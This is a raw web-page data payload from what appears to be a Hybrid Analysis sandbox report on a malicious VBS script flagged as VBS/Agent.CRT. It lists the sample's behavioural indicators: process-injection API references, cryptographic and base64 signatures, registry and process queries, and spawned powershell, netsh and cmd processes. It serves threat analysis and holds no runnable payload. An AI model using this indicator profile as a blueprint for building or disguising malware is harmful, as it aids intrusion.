24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 55:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T48b,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious VBS/Agent.CRT Sample 9c2d73bcb373… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 9c2d73bcb373…. Malware family: VBS/Agent.CRT. Threat score 100/100. 1/27 AV engines flagged this file. 12 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/9c2d73bcb3739fb1dfa99b7ae74b28c779f533d7d768c63642b2ac678703d1f7","keywords":["Malicious","VBS/Agent.CRT","malware analysis","sandbox report","threat intelligence","9c2d73bcb3739fb1dfa99b7ae74b28c779f533d7d768c63642b2ac678703d1f7"],"about":{"@type":"SoftwareApplication","name":"Green Riyadh Uraija-PR.vbs","applicationCategory":["script","vbs"],"identifier":"9c2d73bcb3739fb1dfa99b7ae74b28c779f533d7d768c63642b2ac678703d1f7","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"VBS/Agent.CRT","antivirusDetections":{"malicious":1,"total":27},"behavioralIndicators":{"malicious":12,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T6cb,Found reference to API "MpFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "CreateThreadpool" (Indicator: "CreateThread"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "CreateThreadpoolIo" (Indicator: "CreateThread"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "VirtualAllocFnType" (Indicator: "VirtualAlloc"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API "CustomVirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp")26:T756,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "RegisterWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp")27:T4a2,Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "LoadLibraryExAFnType" (Indicator: "LoadLibrary"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API "CustomLoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API "LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp")28:T59c,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER")29:Ta0e,"WScript.exe" queried SystemProcessInformation at 00000000-00004012-00000C15-1338779438 [PID: 4012] "WScript.exe" queried SystemProcessInformation at 00000000-00004012-00000C15-1338788948 [PID: 4012] "WScript.exe" queried SystemProcessInformation at 00000000-00004012-00000C15-1339226306 [PID: 4012] "WScript.exe" queried SystemProcessInformation at 00000000-00004012-00000C15-1339235574 [PID: 4012] "WScript.exe" queried SystemProcessInformation at 00000000-00004012-00000C15-1339689865 [PID: 4012] "WScript.exe" queried SystemProcessInformation at 00000000-00004012-00000C15-1339698914 [PID: 4012] "WScript.exe" queried SystemProcessInformation at 00000000-00004012-00000C15-1340061850 [PID: 4012] "WScript.exe" queried SystemProcessInformation at 00000000-00004012-00000C15-1340070016 [PID: 4012] "powershell.exe" queried SystemProcessInformation at 00000000-00004040-00000C15-1341319133 [PID: 4040] "powershell.exe" queried SystemProcessInformation at 00000000-00004040-00000C15-1341327852 [PID: 4040] "powershell.exe" queried SystemProcessInformation at 00000000-00004040-00000C15-1342947513 [PID: 4040] "powershell.exe" queried SystemProcessInformation at 00000000-00004040-00000C15-1342956817 [PID: 4040] "powershell.exe" queried SystemProcessInformation at 00000000-00004040-00000C15-1343671279 [PID: 4040] "powershell.exe" queried SystemProcessInformation at 00000000-00004040-00000C15-1343678887 [PID: 4040] "powershell.exe" queried SystemProcessInformation at 00000000-00004040-00000C15-1344045877 [PID: 4040] "powershell.exe" queried SystemProcessInformation at 00000000-00004040-00000C15-1344055492 [PID: 4040] "powershell.exe" queried SystemProcessInformation at 00000000-00004040-00000C15-1344311473 [PID: 4040] "powershell.exe" queried SystemProcessInformation at 00000000-00004040-00000C15-1344319277 [PID: 4040] "powershell.exe" queried SystemProcessInformation at 00000000-00004040-00000C15-1345582911 [PID: 4040] "powershell.exe" queried SystemProcessInformation at 00000000-00004040-00000C15-1346352141 [PID: 4040] "powershell.exe" queried SystemProcessInformation at 00000000-00004040-00000C15-1346360452 [PID: 4040] "powershell.exe" queried SystemProcessInformation at 00000000-00004040-00000C15-1346754246 [PID: 4040] "powershell.exe" queried SystemProcessInformation at 00000000-00004040-00000C15-1346763261 [PID: 4040] "powershell.exe" queried SystemProcessInformation at 00000000-00004040-00000C15-1350004186 [PID: 4040] "powershell.exe" queried SystemProcessInformation at 00000000-00004040-00000C15-1350012147 [PID: 4040]2a:Tbba,Found api reference "BCryptGetProperty" (Indicator: "BCryptGetProperty"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found api reference "BCryptDestroyHash" (Indicator: "BCryptDestroyHash"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found api reference "BCryptDestroyHash" (Indicator: "CryptDestroyHash"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found api reference "BCryptCreateHash" (Indicator: "BCryptCreateHash"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found api reference "BCryptCreateHash" (Indicator: "CryptCreateHash"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found api reference "BCryptFinishHash" (Indicator: "BCryptFinishHash"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "BCryptHash"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "BCryptHashData"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "CryptHashData"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found api reference "BCryptOpenAlgorithmProvider" (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found api reference "BCryptGenRandom" (Indicator: "BCryptGenRandom"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found api reference "BCryptGenRandom" (Indicator: "CryptGenRandom"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found api reference "BCryptCloseAlgorithmProvider" (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found api reference "CryptDestroyHash" (Indicator: "CryptDestroyHash"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found api reference "CryptCreateHash" (Indicator: "CryptCreateHash"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found api reference "CryptGetHashParam" (Indicator: "CryptGetHashParam"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found api reference "CryptHashData" (Indicator: "CryptHashData"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found api reference "CryptReleaseContext" (Indicator: "CryptReleaseContext"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found api reference "CryptAcquireContextW" (Indicator: "CryptAcquireContextW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found api reference "CryptGenRandom" (Indicator: "CryptGenRandom"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found api reference "CertVerifyCertificateChainPolicy" (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp")2b:T450,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to decode base64 data Matched sigs: Able to decrypt/decode data Matched sigs: Contains CRYPTO related strings Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Able to utilize the Windows bcrypt cryptographic API Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: HTTP requests contain Base64 strings Matched sigs: YARA signature match – Encryption algorithm2c:T13b6,"WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004012) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004012) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac6741ff7f0000000000000000000051ed9e43ff7f0000000000000202000000000000000000004793ef0cd39f00002a00000000000000f07fdc54020200008fec9e43ff7f0000e0ac6741ff7f0000e0ac6741ff7f0000000000000000000000000000ff7f0000ffffff7ff06f000000000000000000000000000000000000d8ce5b41ff7f00002a0000000000000069c31441ff7f00003100000000000000dc02000000000000e0020000000000001100011000000000e0d030a7e900000003a36643ff7f0000e0d030a7e900000000000000000000002b00000000000000000000000000000020b01a41ff7f0000b43f1941ff7f0000e0ce5b41 (UID: 00000000-00004012) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000080000000000000000000000000000000000000000000000810100000000000010200000000000000000da54020200000b8e9c43ff7f00000000da54020200000a000000ff7f0000002000000000000010200000000000007082da5402020000f8b730a7e9000000c9b830a7e900000003000000ff7f0000904ce2540202000069eea043ff7f0000000000000000000040c7d25702020000385db5dc00000000400000000000000000000000000000008403fe7f00000000904ce254020200008503fe7f00000000000000000000000000000b12ff7f0000000000000000000000290b12ff7f00000000000000000000f7d90c12ff7f000000000000 (UID: 00000000-00004012) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000400000000000000000000e55020200000b8e9c43ff7f000000000e550202000002000000020200003800000000000000400000000000000030030e550202000068da30a7e900000001000000000000000300000000000000010000000000000068000000000000002010d5540202000000000000000000000000d5540202000000705da7e900000000000000000000007f030000010000000000000000000000800000000000000004000000000000000000000000000000384bd6570202000004000000000000003800000000000000f0986543ff7f000038000000000000003800000000000000e0db30a7e9000000c00c0a12ff7f000000000000 (UID: 00000000-00004012) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b06526ff7f0000070000000000000000000000000000000100000000000000f0ee0e55020200000000000000000000d0c2bc57020200004c986543ff7f000090bebc5702020000b3ce0012ff7f000050c6bc5702020000004f6526ff7f0000d0b06526ff7f00000000000000000000000000000000000050c6bc5702020000f0ee0e550202000000e0bc570202000038dc30a7e90000004c986543ff7f0000010000000000000038dc30a7e900000000e0bc570202000050c6bc5702020000010000000000000002bc0012ff7f000080c9bc5702020000d0bdba5702020000feffffff040000007df06426ff7f0000e0dfbc57 (UID: 00000000-00004012) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000070000000000000000000000000000000100000000000000f0ee0e55020200000000000000000000d0c2bc57020200004c986543ff7f000010b7bc5702020000b3ce0012ff7f000090c8bc5702020000384f6526ff7f0000d0b06526ff7f00000000000000000000000000000000000090c8bc5702020000f0ee0e550202000000e0bc570202000030dc30a7e90000004c986543ff7f0000010000000000000030dc30a7e900000000e0bc570202000090c8bc5702020000010000000000000002bc0012ff7f00000000000000000000d0bdba570202000080c9bc5704000000fefffffffffffffff0ee0e55020200007df06426ff7f000000000000 (UID: 00000000-00004012) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000002ae43e40ff7f0000400000000000000000000000e90000000000000200000000000000000000000010a4efa7e900000088a4efa7e90000000000000000000000000000000000000030a8efa7e9000000c000e6010000000070a5efa7e900000030000000e9000000000000000000000028a4efa7e900000040000000000000000000000000000000000000000000000000000000ff7f000000000000000000008e040000000000000100000000000000000000000000000090a8efa7e90000000000000000000000000000000000000004000000ff7f0000000000000000000000000000000000000000000000000000ffffffffe900000000000000 (UID: 00000000-00004012)2d:Tea1,"WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000000000000000000180000000000000093f613e750880000b7a0ef0cd39f00000600000000000000000003fff67f0000a4023d2bff7f00000600000002020000d8f1e740ff7f000010fd30a7e900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003ff (UID: 00000000-00004012) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000cf630a7e90000000000000000000000c0f930a7e9000000a8b7db540202000020f030a7e900000000000000000000004ef74040ff7f00000cf630a7e90000000000000000000000000000000000000099dde740ff7f00000000000000000000b0ef30a7e9000000c0ef30a7e900000001000000e900000000000000 (UID: 00000000-00004012) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000004e7b4140ff7f00000000b821ff7f0000000000000000000000000000000000000806b921ff7f00000001000000000000f0986543ff7f00000001000000000000000100000000000000000000000000000006b921ff7f000001000000000000000f18b821ff7f000000000000000000000006b921ff7f000000000000 (UID: 00000000-00004012) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f00009c313312ff7f0000708b3512ff7f00000200000000000000708b3512ff7f000000000000000000000300000000000000b1313312ff7f0000a8153612ff7f0000b06cbd5702020000c06cbd5702020000888b3512ff7f00000100000000000000239f6743ff7f00000000000000000000888b3512ff7f000006000000 (UID: 00000000-00004012) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000303d2f12ff7f0000c0fe3012ff7f00000400000000000000c0fe3012ff7f000000000000000000000500000000000000453d2f12ff7f0000286a3112ff7f0000be5a4240ff7f0000c86bbd5702020000f3b513e750880000b08e4240ff7f0000239f6743ff7f00000100000000000000d1322f12ff7f000000003b40 (UID: 00000000-00004012) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000be5a4240ff7f000000003d1fff7f000000000000000000000000000000000000883f3e1fff7f00000001000000000000f0986543ff7f0000000100000000000000010000000000000000000000000000803f3e1fff7f00000100000000000000bf103d1fff7f00000000000000000000803f3e1fff7f000000000000 (UID: 00000000-00004012) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c00750063007200740062006100730065005f0063006c00720030003400300030002e0064006c006c00000000000000000000000000 (UID: 00000000-00004040) "netsh.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000f0986543ff7f0000000100000000000000010000000000000000000000000000e80f083cff7f000001000000000000000f36073cff7f00000000000000000000e80f083cff7f00000000000000000000786a7a1d960000000100000000000000ff37073cff7f000000000000000000000000000000000000f00f083c (UID: 00000000-00004156) "netsh.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000f0986543ff7f0000000100000000000000010000000000000000000000000000e80f083cff7f000001000000000000000f36073cff7f00000000000000000000e80f083cff7f00000000000000000000f86d2f82150000000100000000000000ff37073cff7f000000000000000000000000000000000000f00f083c (UID: 00000000-00003624) "netsh.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000f0986543ff7f0000000100000000000000010000000000000000000000000000e80f083cff7f000001000000000000000f36073cff7f00000000000000000000e80f083cff7f00000000000000000000686c0f00010000000100000000000000ff37073cff7f000000000000000000000000000000000000f00f083c (UID: 00000000-00007396)2e:T75f,"WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "netsh.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")2f:T416,Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp")30:Tc41,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: 